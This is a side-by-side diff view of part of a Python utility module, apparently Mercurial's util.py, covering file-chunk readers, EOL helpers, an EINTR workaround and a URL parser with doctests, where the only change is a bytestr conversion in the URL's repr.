2267 buf.append(chunk[offset:])
2268 self._chunkoffset = 0
2268 self._chunkoffset = 0
2269
2269
2270 # Partial chunk needed.
2270 # Partial chunk needed.
2271 else:
2271 else:
2272 buf.append(chunk[offset:offset + left])
2272 buf.append(chunk[offset:offset + left])
2273 self._chunkoffset += left
2273 self._chunkoffset += left
2274 left -= chunkremaining
2274 left -= chunkremaining
2275
2275
2276 return ''.join(buf)
2276 return ''.join(buf)
2277
2277
2278 def filechunkiter(f, size=131072, limit=None):
2278 def filechunkiter(f, size=131072, limit=None):
2279 """Create a generator that produces the data in the file size
2279 """Create a generator that produces the data in the file size
2280 (default 131072) bytes at a time, up to optional limit (default is
2280 (default 131072) bytes at a time, up to optional limit (default is
2281 to read all data). Chunks may be less than size bytes if the
2281 to read all data). Chunks may be less than size bytes if the
2282 chunk is the last chunk in the file, or the file is a socket or
2282 chunk is the last chunk in the file, or the file is a socket or
2283 some other type of file that sometimes reads less data than is
2283 some other type of file that sometimes reads less data than is
2284 requested."""
2284 requested."""
2285 assert size >= 0
2285 assert size >= 0
2286 assert limit is None or limit >= 0
2286 assert limit is None or limit >= 0
2287 while True:
2287 while True:
2288 if limit is None:
2288 if limit is None:
2289 nbytes = size
2289 nbytes = size
2290 else:
2290 else:
2291 nbytes = min(limit, size)
2291 nbytes = min(limit, size)
2292 s = nbytes and f.read(nbytes)
2292 s = nbytes and f.read(nbytes)
2293 if not s:
2293 if not s:
2294 break
2294 break
2295 if limit:
2295 if limit:
2296 limit -= len(s)
2296 limit -= len(s)
2297 yield s
2297 yield s
2298
2298
2299 class cappedreader(object):
2299 class cappedreader(object):
2300 """A file object proxy that allows reading up to N bytes.
2300 """A file object proxy that allows reading up to N bytes.
2301
2301
2302 Given a source file object, instances of this type allow reading up to
2302 Given a source file object, instances of this type allow reading up to
2303 N bytes from that source file object. Attempts to read past the allowed
2303 N bytes from that source file object. Attempts to read past the allowed
2304 limit are treated as EOF.
2304 limit are treated as EOF.
2305
2305
2306 It is assumed that I/O is not performed on the original file object
2306 It is assumed that I/O is not performed on the original file object
2307 in addition to I/O that is performed by this instance. If there is,
2307 in addition to I/O that is performed by this instance. If there is,
2308 state tracking will get out of sync and unexpected results will ensue.
2308 state tracking will get out of sync and unexpected results will ensue.
2309 """
2309 """
2310 def __init__(self, fh, limit):
2310 def __init__(self, fh, limit):
2311 """Allow reading up to <limit> bytes from <fh>."""
2311 """Allow reading up to <limit> bytes from <fh>."""
2312 self._fh = fh
2312 self._fh = fh
2313 self._left = limit
2313 self._left = limit
2314
2314
2315 def read(self, n=-1):
2315 def read(self, n=-1):
2316 if not self._left:
2316 if not self._left:
2317 return b''
2317 return b''
2318
2318
2319 if n < 0:
2319 if n < 0:
2320 n = self._left
2320 n = self._left
2321
2321
2322 data = self._fh.read(min(n, self._left))
2322 data = self._fh.read(min(n, self._left))
2323 self._left -= len(data)
2323 self._left -= len(data)
2324 assert self._left >= 0
2324 assert self._left >= 0
2325
2325
2326 return data
2326 return data
2327
2327
2328 def readinto(self, b):
2328 def readinto(self, b):
2329 res = self.read(len(b))
2329 res = self.read(len(b))
2330 if res is None:
2330 if res is None:
2331 return None
2331 return None
2332
2332
2333 b[0:len(res)] = res
2333 b[0:len(res)] = res
2334 return len(res)
2334 return len(res)
2335
2335
2336 def unitcountfn(*unittable):
2336 def unitcountfn(*unittable):
2337 '''return a function that renders a readable count of some quantity'''
2337 '''return a function that renders a readable count of some quantity'''
2338
2338
2339 def go(count):
2339 def go(count):
2340 for multiplier, divisor, format in unittable:
2340 for multiplier, divisor, format in unittable:
2341 if abs(count) >= divisor * multiplier:
2341 if abs(count) >= divisor * multiplier:
2342 return format % (count / float(divisor))
2342 return format % (count / float(divisor))
2343 return unittable[-1][2] % count
2343 return unittable[-1][2] % count
2344
2344
2345 return go
2345 return go
2346
2346
2347 def processlinerange(fromline, toline):
2347 def processlinerange(fromline, toline):
2348 """Check that linerange <fromline>:<toline> makes sense and return a
2348 """Check that linerange <fromline>:<toline> makes sense and return a
2349 0-based range.
2349 0-based range.
2350
2350
2351 >>> processlinerange(10, 20)
2351 >>> processlinerange(10, 20)
2352 (9, 20)
2352 (9, 20)
2353 >>> processlinerange(2, 1)
2353 >>> processlinerange(2, 1)
2354 Traceback (most recent call last):
2354 Traceback (most recent call last):
2355 ...
2355 ...
2356 ParseError: line range must be positive
2356 ParseError: line range must be positive
2357 >>> processlinerange(0, 5)
2357 >>> processlinerange(0, 5)
2358 Traceback (most recent call last):
2358 Traceback (most recent call last):
2359 ...
2359 ...
2360 ParseError: fromline must be strictly positive
2360 ParseError: fromline must be strictly positive
2361 """
2361 """
2362 if toline - fromline < 0:
2362 if toline - fromline < 0:
2363 raise error.ParseError(_("line range must be positive"))
2363 raise error.ParseError(_("line range must be positive"))
2364 if fromline < 1:
2364 if fromline < 1:
2365 raise error.ParseError(_("fromline must be strictly positive"))
2365 raise error.ParseError(_("fromline must be strictly positive"))
2366 return fromline - 1, toline
2366 return fromline - 1, toline
2367
2367
2368 bytecount = unitcountfn(
2368 bytecount = unitcountfn(
2369 (100, 1 << 30, _('%.0f GB')),
2369 (100, 1 << 30, _('%.0f GB')),
2370 (10, 1 << 30, _('%.1f GB')),
2370 (10, 1 << 30, _('%.1f GB')),
2371 (1, 1 << 30, _('%.2f GB')),
2371 (1, 1 << 30, _('%.2f GB')),
2372 (100, 1 << 20, _('%.0f MB')),
2372 (100, 1 << 20, _('%.0f MB')),
2373 (10, 1 << 20, _('%.1f MB')),
2373 (10, 1 << 20, _('%.1f MB')),
2374 (1, 1 << 20, _('%.2f MB')),
2374 (1, 1 << 20, _('%.2f MB')),
2375 (100, 1 << 10, _('%.0f KB')),
2375 (100, 1 << 10, _('%.0f KB')),
2376 (10, 1 << 10, _('%.1f KB')),
2376 (10, 1 << 10, _('%.1f KB')),
2377 (1, 1 << 10, _('%.2f KB')),
2377 (1, 1 << 10, _('%.2f KB')),
2378 (1, 1, _('%.0f bytes')),
2378 (1, 1, _('%.0f bytes')),
2379 )
2379 )
2380
2380
2381 class transformingwriter(object):
2381 class transformingwriter(object):
2382 """Writable file wrapper to transform data by function"""
2382 """Writable file wrapper to transform data by function"""
2383
2383
2384 def __init__(self, fp, encode):
2384 def __init__(self, fp, encode):
2385 self._fp = fp
2385 self._fp = fp
2386 self._encode = encode
2386 self._encode = encode
2387
2387
2388 def close(self):
2388 def close(self):
2389 self._fp.close()
2389 self._fp.close()
2390
2390
2391 def flush(self):
2391 def flush(self):
2392 self._fp.flush()
2392 self._fp.flush()
2393
2393
2394 def write(self, data):
2394 def write(self, data):
2395 return self._fp.write(self._encode(data))
2395 return self._fp.write(self._encode(data))
2396
2396
2397 # Matches a single EOL which can either be a CRLF where repeated CR
2397 # Matches a single EOL which can either be a CRLF where repeated CR
2398 # are removed or a LF. We do not care about old Macintosh files, so a
2398 # are removed or a LF. We do not care about old Macintosh files, so a
2399 # stray CR is an error.
2399 # stray CR is an error.
2400 _eolre = remod.compile(br'\r*\n')
2400 _eolre = remod.compile(br'\r*\n')
2401
2401
2402 def tolf(s):
2402 def tolf(s):
2403 return _eolre.sub('\n', s)
2403 return _eolre.sub('\n', s)
2404
2404
2405 def tocrlf(s):
2405 def tocrlf(s):
2406 return _eolre.sub('\r\n', s)
2406 return _eolre.sub('\r\n', s)
2407
2407
2408 def _crlfwriter(fp):
2408 def _crlfwriter(fp):
2409 return transformingwriter(fp, tocrlf)
2409 return transformingwriter(fp, tocrlf)
2410
2410
2411 if pycompat.oslinesep == '\r\n':
2411 if pycompat.oslinesep == '\r\n':
2412 tonativeeol = tocrlf
2412 tonativeeol = tocrlf
2413 fromnativeeol = tolf
2413 fromnativeeol = tolf
2414 nativeeolwriter = _crlfwriter
2414 nativeeolwriter = _crlfwriter
2415 else:
2415 else:
2416 tonativeeol = pycompat.identity
2416 tonativeeol = pycompat.identity
2417 fromnativeeol = pycompat.identity
2417 fromnativeeol = pycompat.identity
2418 nativeeolwriter = pycompat.identity
2418 nativeeolwriter = pycompat.identity
2419
2419
2420 if (pyplatform.python_implementation() == 'CPython' and
2420 if (pyplatform.python_implementation() == 'CPython' and
2421 sys.version_info < (3, 0)):
2421 sys.version_info < (3, 0)):
2422 # There is an issue in CPython that some IO methods do not handle EINTR
2422 # There is an issue in CPython that some IO methods do not handle EINTR
2423 # correctly. The following table shows what CPython version (and functions)
2423 # correctly. The following table shows what CPython version (and functions)
2424 # are affected (buggy: has the EINTR bug, okay: otherwise):
2424 # are affected (buggy: has the EINTR bug, okay: otherwise):
2425 #
2425 #
2426 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2426 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2427 # --------------------------------------------------
2427 # --------------------------------------------------
2428 # fp.__iter__ | buggy | buggy | okay
2428 # fp.__iter__ | buggy | buggy | okay
2429 # fp.read* | buggy | okay [1] | okay
2429 # fp.read* | buggy | okay [1] | okay
2430 #
2430 #
2431 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2431 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2432 #
2432 #
2433 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2433 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2434 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2434 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2435 #
2435 #
2436 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2436 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2437 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2437 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2438 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2438 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2439 # fp.__iter__ but not other fp.read* methods.
2439 # fp.__iter__ but not other fp.read* methods.
2440 #
2440 #
2441 # On modern systems like Linux, the "read" syscall cannot be interrupted
2441 # On modern systems like Linux, the "read" syscall cannot be interrupted
2442 # when reading "fast" files like on-disk files. So the EINTR issue only
2442 # when reading "fast" files like on-disk files. So the EINTR issue only
2443 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2443 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2444 # files approximately as "fast" files and use the fast (unsafe) code path,
2444 # files approximately as "fast" files and use the fast (unsafe) code path,
2445 # to minimize the performance impact.
2445 # to minimize the performance impact.
2446 if sys.version_info >= (2, 7, 4):
2446 if sys.version_info >= (2, 7, 4):
2447 # fp.readline deals with EINTR correctly, use it as a workaround.
2447 # fp.readline deals with EINTR correctly, use it as a workaround.
2448 def _safeiterfile(fp):
2448 def _safeiterfile(fp):
2449 return iter(fp.readline, '')
2449 return iter(fp.readline, '')
2450 else:
2450 else:
2451 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2451 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2452 # note: this may block longer than necessary because of bufsize.
2452 # note: this may block longer than necessary because of bufsize.
2453 def _safeiterfile(fp, bufsize=4096):
2453 def _safeiterfile(fp, bufsize=4096):
2454 fd = fp.fileno()
2454 fd = fp.fileno()
2455 line = ''
2455 line = ''
2456 while True:
2456 while True:
2457 try:
2457 try:
2458 buf = os.read(fd, bufsize)
2458 buf = os.read(fd, bufsize)
2459 except OSError as ex:
2459 except OSError as ex:
2460 # os.read only raises EINTR before any data is read
2460 # os.read only raises EINTR before any data is read
2461 if ex.errno == errno.EINTR:
2461 if ex.errno == errno.EINTR:
2462 continue
2462 continue
2463 else:
2463 else:
2464 raise
2464 raise
2465 line += buf
2465 line += buf
2466 if '\n' in buf:
2466 if '\n' in buf:
2467 splitted = line.splitlines(True)
2467 splitted = line.splitlines(True)
2468 line = ''
2468 line = ''
2469 for l in splitted:
2469 for l in splitted:
2470 if l[-1] == '\n':
2470 if l[-1] == '\n':
2471 yield l
2471 yield l
2472 else:
2472 else:
2473 line = l
2473 line = l
2474 if not buf:
2474 if not buf:
2475 break
2475 break
2476 if line:
2476 if line:
2477 yield line
2477 yield line
2478
2478
2479 def iterfile(fp):
2479 def iterfile(fp):
2480 fastpath = True
2480 fastpath = True
2481 if type(fp) is file:
2481 if type(fp) is file:
2482 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2482 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2483 if fastpath:
2483 if fastpath:
2484 return fp
2484 return fp
2485 else:
2485 else:
2486 return _safeiterfile(fp)
2486 return _safeiterfile(fp)
2487 else:
2487 else:
2488 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2488 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2489 def iterfile(fp):
2489 def iterfile(fp):
2490 return fp
2490 return fp
2491
2491
2492 def iterlines(iterator):
2492 def iterlines(iterator):
2493 for chunk in iterator:
2493 for chunk in iterator:
2494 for line in chunk.splitlines():
2494 for line in chunk.splitlines():
2495 yield line
2495 yield line
2496
2496
2497 def expandpath(path):
2497 def expandpath(path):
2498 return os.path.expanduser(os.path.expandvars(path))
2498 return os.path.expanduser(os.path.expandvars(path))
2499
2499
2500 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2500 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2501 """Return the result of interpolating items in the mapping into string s.
2501 """Return the result of interpolating items in the mapping into string s.
2502
2502
2503 prefix is a single character string, or a two character string with
2503 prefix is a single character string, or a two character string with
2504 a backslash as the first character if the prefix needs to be escaped in
2504 a backslash as the first character if the prefix needs to be escaped in
2505 a regular expression.
2505 a regular expression.
2506
2506
2507 fn is an optional function that will be applied to the replacement text
2507 fn is an optional function that will be applied to the replacement text
2508 just before replacement.
2508 just before replacement.
2509
2509
2510 escape_prefix is an optional flag that allows using doubled prefix for
2510 escape_prefix is an optional flag that allows using doubled prefix for
2511 its escaping.
2511 its escaping.
2512 """
2512 """
2513 fn = fn or (lambda s: s)
2513 fn = fn or (lambda s: s)
2514 patterns = '|'.join(mapping.keys())
2514 patterns = '|'.join(mapping.keys())
2515 if escape_prefix:
2515 if escape_prefix:
2516 patterns += '|' + prefix
2516 patterns += '|' + prefix
2517 if len(prefix) > 1:
2517 if len(prefix) > 1:
2518 prefix_char = prefix[1:]
2518 prefix_char = prefix[1:]
2519 else:
2519 else:
2520 prefix_char = prefix
2520 prefix_char = prefix
2521 mapping[prefix_char] = prefix_char
2521 mapping[prefix_char] = prefix_char
2522 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2522 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2523 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2523 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2524
2524
2525 def getport(port):
2525 def getport(port):
2526 """Return the port for a given network service.
2526 """Return the port for a given network service.
2527
2527
2528 If port is an integer, it's returned as is. If it's a string, it's
2528 If port is an integer, it's returned as is. If it's a string, it's
2529 looked up using socket.getservbyname(). If there's no matching
2529 looked up using socket.getservbyname(). If there's no matching
2530 service, error.Abort is raised.
2530 service, error.Abort is raised.
2531 """
2531 """
2532 try:
2532 try:
2533 return int(port)
2533 return int(port)
2534 except ValueError:
2534 except ValueError:
2535 pass
2535 pass
2536
2536
2537 try:
2537 try:
2538 return socket.getservbyname(pycompat.sysstr(port))
2538 return socket.getservbyname(pycompat.sysstr(port))
2539 except socket.error:
2539 except socket.error:
2540 raise error.Abort(_("no port number associated with service '%s'")
2540 raise error.Abort(_("no port number associated with service '%s'")
2541 % port)
2541 % port)
2542
2542
2543 class url(object):
2543 class url(object):
2544 r"""Reliable URL parser.
2544 r"""Reliable URL parser.
2545
2545
2546 This parses URLs and provides attributes for the following
2546 This parses URLs and provides attributes for the following
2547 components:
2547 components:
2548
2548
2549 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2549 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2550
2550
2551 Missing components are set to None. The only exception is
2551 Missing components are set to None. The only exception is
2552 fragment, which is set to '' if present but empty.
2552 fragment, which is set to '' if present but empty.
2553
2553
2554 If parsefragment is False, fragment is included in query. If
2554 If parsefragment is False, fragment is included in query. If
2555 parsequery is False, query is included in path. If both are
2555 parsequery is False, query is included in path. If both are
2556 False, both fragment and query are included in path.
2556 False, both fragment and query are included in path.
2557
2557
2558 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2558 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2559
2559
2560 Note that for backward compatibility reasons, bundle URLs do not
2560 Note that for backward compatibility reasons, bundle URLs do not
2561 take host names. That means 'bundle://../' has a path of '../'.
2561 take host names. That means 'bundle://../' has a path of '../'.
2562
2562
2563 Examples:
2563 Examples:
2564
2564
2565 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2565 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2566 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2566 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2567 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2567 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2568 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2568 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2569 >>> url(b'file:///home/joe/repo')
2569 >>> url(b'file:///home/joe/repo')
2570 <url scheme: 'file', path: '/home/joe/repo'>
2570 <url scheme: 'file', path: '/home/joe/repo'>
2571 >>> url(b'file:///c:/temp/foo/')
2571 >>> url(b'file:///c:/temp/foo/')
2572 <url scheme: 'file', path: 'c:/temp/foo/'>
2572 <url scheme: 'file', path: 'c:/temp/foo/'>
2573 >>> url(b'bundle:foo')
2573 >>> url(b'bundle:foo')
2574 <url scheme: 'bundle', path: 'foo'>
2574 <url scheme: 'bundle', path: 'foo'>
2575 >>> url(b'bundle://../foo')
2575 >>> url(b'bundle://../foo')
2576 <url scheme: 'bundle', path: '../foo'>
2576 <url scheme: 'bundle', path: '../foo'>
2577 >>> url(br'c:\foo\bar')
2577 >>> url(br'c:\foo\bar')
2578 <url path: 'c:\\foo\\bar'>
2578 <url path: 'c:\\foo\\bar'>
2579 >>> url(br'\\blah\blah\blah')
2579 >>> url(br'\\blah\blah\blah')
2580 <url path: '\\\\blah\\blah\\blah'>
2580 <url path: '\\\\blah\\blah\\blah'>
2581 >>> url(br'\\blah\blah\blah#baz')
2581 >>> url(br'\\blah\blah\blah#baz')
2582 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2582 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2583 >>> url(br'file:///C:\users\me')
2583 >>> url(br'file:///C:\users\me')
2584 <url scheme: 'file', path: 'C:\\users\\me'>
2584 <url scheme: 'file', path: 'C:\\users\\me'>
2585
2585
2586 Authentication credentials:
2586 Authentication credentials:
2587
2587
2588 >>> url(b'ssh://joe:xyz@x/repo')
2588 >>> url(b'ssh://joe:xyz@x/repo')
2589 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2589 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2590 >>> url(b'ssh://joe@x/repo')
2590 >>> url(b'ssh://joe@x/repo')
2591 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2591 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2592
2592
2593 Query strings and fragments:
2593 Query strings and fragments:
2594
2594
2595 >>> url(b'http://host/a?b#c')
2595 >>> url(b'http://host/a?b#c')
2596 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2596 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2597 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2597 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2598 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2598 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2599
2599
2600 Empty path:
2600 Empty path:
2601
2601
2602 >>> url(b'')
2602 >>> url(b'')
2603 <url path: ''>
2603 <url path: ''>
2604 >>> url(b'#a')
2604 >>> url(b'#a')
2605 <url path: '', fragment: 'a'>
2605 <url path: '', fragment: 'a'>
2606 >>> url(b'http://host/')
2606 >>> url(b'http://host/')
2607 <url scheme: 'http', host: 'host', path: ''>
2607 <url scheme: 'http', host: 'host', path: ''>
2608 >>> url(b'http://host/#a')
2608 >>> url(b'http://host/#a')
2609 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2609 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2610
2610
2611 Only scheme:
2611 Only scheme:
2612
2612
2613 >>> url(b'http:')
2613 >>> url(b'http:')
2614 <url scheme: 'http'>
2614 <url scheme: 'http'>
2615 """
2615 """
2616
2616
2617 _safechars = "!~*'()+"
2617 _safechars = "!~*'()+"
2618 _safepchars = "/!~*'()+:\\"
2618 _safepchars = "/!~*'()+:\\"
2619 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2619 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2620
2620
2621 def __init__(self, path, parsequery=True, parsefragment=True):
2621 def __init__(self, path, parsequery=True, parsefragment=True):
2622 # We slowly chomp away at path until we have only the path left
2622 # We slowly chomp away at path until we have only the path left
2623 self.scheme = self.user = self.passwd = self.host = None
2623 self.scheme = self.user = self.passwd = self.host = None
2624 self.port = self.path = self.query = self.fragment = None
2624 self.port = self.path = self.query = self.fragment = None
2625 self._localpath = True
2625 self._localpath = True
2626 self._hostport = ''
2626 self._hostport = ''
2627 self._origpath = path
2627 self._origpath = path
2628
2628
2629 if parsefragment and '#' in path:
2629 if parsefragment and '#' in path:
2630 path, self.fragment = path.split('#', 1)
2630 path, self.fragment = path.split('#', 1)
2631
2631
2632 # special case for Windows drive letters and UNC paths
2632 # special case for Windows drive letters and UNC paths
2633 if hasdriveletter(path) or path.startswith('\\\\'):
2633 if hasdriveletter(path) or path.startswith('\\\\'):
2634 self.path = path
2634 self.path = path
2635 return
2635 return
2636
2636
2637 # For compatibility reasons, we can't handle bundle paths as
2637 # For compatibility reasons, we can't handle bundle paths as
2638 # normal URLS
2638 # normal URLS
2639 if path.startswith('bundle:'):
2639 if path.startswith('bundle:'):
2640 self.scheme = 'bundle'
2640 self.scheme = 'bundle'
2641 path = path[7:]
2641 path = path[7:]
2642 if path.startswith('//'):
2642 if path.startswith('//'):
2643 path = path[2:]
2643 path = path[2:]
2644 self.path = path
2644 self.path = path
2645 return
2645 return
2646
2646
2647 if self._matchscheme(path):
2647 if self._matchscheme(path):
2648 parts = path.split(':', 1)
2648 parts = path.split(':', 1)
2649 if parts[0]:
2649 if parts[0]:
2650 self.scheme, path = parts
2650 self.scheme, path = parts
2651 self._localpath = False
2651 self._localpath = False
2652
2652
2653 if not path:
2653 if not path:
2654 path = None
2654 path = None
2655 if self._localpath:
2655 if self._localpath:
2656 self.path = ''
2656 self.path = ''
2657 return
2657 return
2658 else:
2658 else:
2659 if self._localpath:
2659 if self._localpath:
2660 self.path = path
2660 self.path = path
2661 return
2661 return
2662
2662
2663 if parsequery and '?' in path:
2663 if parsequery and '?' in path:
2664 path, self.query = path.split('?', 1)
2664 path, self.query = path.split('?', 1)
2665 if not path:
2665 if not path:
2666 path = None
2666 path = None
2667 if not self.query:
2667 if not self.query:
2668 self.query = None
2668 self.query = None
2669
2669
2670 # // is required to specify a host/authority
2670 # // is required to specify a host/authority
2671 if path and path.startswith('//'):
2671 if path and path.startswith('//'):
2672 parts = path[2:].split('/', 1)
2672 parts = path[2:].split('/', 1)
2673 if len(parts) > 1:
2673 if len(parts) > 1:
2674 self.host, path = parts
2674 self.host, path = parts
2675 else:
2675 else:
2676 self.host = parts[0]
2676 self.host = parts[0]
2677 path = None
2677 path = None
2678 if not self.host:
2678 if not self.host:
2679 self.host = None
2679 self.host = None
2680 # path of file:///d is /d
2680 # path of file:///d is /d
2681 # path of file:///d:/ is d:/, not /d:/
2681 # path of file:///d:/ is d:/, not /d:/
2682 if path and not hasdriveletter(path):
2682 if path and not hasdriveletter(path):
2683 path = '/' + path
2683 path = '/' + path
2684
2684
2685 if self.host and '@' in self.host:
2685 if self.host and '@' in self.host:
2686 self.user, self.host = self.host.rsplit('@', 1)
2686 self.user, self.host = self.host.rsplit('@', 1)
2687 if ':' in self.user:
2687 if ':' in self.user:
2688 self.user, self.passwd = self.user.split(':', 1)
2688 self.user, self.passwd = self.user.split(':', 1)
2689 if not self.host:
2689 if not self.host:
2690 self.host = None
2690 self.host = None
2691
2691
2692 # Don't split on colons in IPv6 addresses without ports
2692 # Don't split on colons in IPv6 addresses without ports
2693 if (self.host and ':' in self.host and
2693 if (self.host and ':' in self.host and
2694 not (self.host.startswith('[') and self.host.endswith(']'))):
2694 not (self.host.startswith('[') and self.host.endswith(']'))):
2695 self._hostport = self.host
2695 self._hostport = self.host
2696 self.host, self.port = self.host.rsplit(':', 1)
2696 self.host, self.port = self.host.rsplit(':', 1)
2697 if not self.host:
2697 if not self.host:
2698 self.host = None
2698 self.host = None
2699
2699
2700 if (self.host and self.scheme == 'file' and
2700 if (self.host and self.scheme == 'file' and
2701 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2701 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2702 raise error.Abort(_('file:// URLs can only refer to localhost'))
2702 raise error.Abort(_('file:// URLs can only refer to localhost'))
2703
2703
2704 self.path = path
2704 self.path = path
2705
2705
2706 # leave the query string escaped
2706 # leave the query string escaped
2707 for a in ('user', 'passwd', 'host', 'port',
2707 for a in ('user', 'passwd', 'host', 'port',
2708 'path', 'fragment'):
2708 'path', 'fragment'):
2709 v = getattr(self, a)
2709 v = getattr(self, a)
2710 if v is not None:
2710 if v is not None:
2711 setattr(self, a, urlreq.unquote(v))
2711 setattr(self, a, urlreq.unquote(v))
2712
2712
2713 @encoding.strmethod
2713 @encoding.strmethod
2714 def __repr__(self):
2714 def __repr__(self):
2715 attrs = []
2715 attrs = []
2716 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2716 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2717 'query', 'fragment'):
2717 'query', 'fragment'):
2718 v = getattr(self, a)
2718 v = getattr(self, a)
2719 if v is not None:
2719 if v is not None:
2720 attrs.append('%s: %r' % (a, v))
2720 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2721 return '<url %s>' % ', '.join(attrs)
2721 return '<url %s>' % ', '.join(attrs)
2722
2722
2723 def __bytes__(self):
2723 def __bytes__(self):
2724 r"""Join the URL's components back into a URL string.
2724 r"""Join the URL's components back into a URL string.
2725
2725
2726 Examples:
2726 Examples:
2727
2727
2728 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2728 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2729 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2729 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2730 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2730 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2731 'http://user:pw@host:80/?foo=bar&baz=42'
2731 'http://user:pw@host:80/?foo=bar&baz=42'
2732 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2732 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2733 'http://user:pw@host:80/?foo=bar%3dbaz'
2733 'http://user:pw@host:80/?foo=bar%3dbaz'
2734 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2734 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2735 'ssh://user:pw@[::1]:2200//home/joe#'
2735 'ssh://user:pw@[::1]:2200//home/joe#'
2736 >>> bytes(url(b'http://localhost:80//'))
2736 >>> bytes(url(b'http://localhost:80//'))
2737 'http://localhost:80//'
2737 'http://localhost:80//'
2738 >>> bytes(url(b'http://localhost:80/'))
2738 >>> bytes(url(b'http://localhost:80/'))
2739 'http://localhost:80/'
2739 'http://localhost:80/'
2740 >>> bytes(url(b'http://localhost:80'))
2740 >>> bytes(url(b'http://localhost:80'))
2741 'http://localhost:80/'
2741 'http://localhost:80/'
2742 >>> bytes(url(b'bundle:foo'))
2742 >>> bytes(url(b'bundle:foo'))
2743 'bundle:foo'
2743 'bundle:foo'
2744 >>> bytes(url(b'bundle://../foo'))
2744 >>> bytes(url(b'bundle://../foo'))
2745 'bundle:../foo'
2745 'bundle:../foo'
2746 >>> bytes(url(b'path'))
2746 >>> bytes(url(b'path'))
2747 'path'
2747 'path'
2748 >>> bytes(url(b'file:///tmp/foo/bar'))
2748 >>> bytes(url(b'file:///tmp/foo/bar'))
2749 'file:///tmp/foo/bar'
2749 'file:///tmp/foo/bar'
2750 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2750 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2751 'file:///c:/tmp/foo/bar'
2751 'file:///c:/tmp/foo/bar'
2752 >>> print(url(br'bundle:foo\bar'))
2752 >>> print(url(br'bundle:foo\bar'))
2753 bundle:foo\bar
2753 bundle:foo\bar
2754 >>> print(url(br'file:///D:\data\hg'))
2754 >>> print(url(br'file:///D:\data\hg'))
2755 file:///D:\data\hg
2755 file:///D:\data\hg
2756 """
2756 """
2757 if self._localpath:
2757 if self._localpath:
2758 s = self.path
2758 s = self.path
2759 if self.scheme == 'bundle':
2759 if self.scheme == 'bundle':
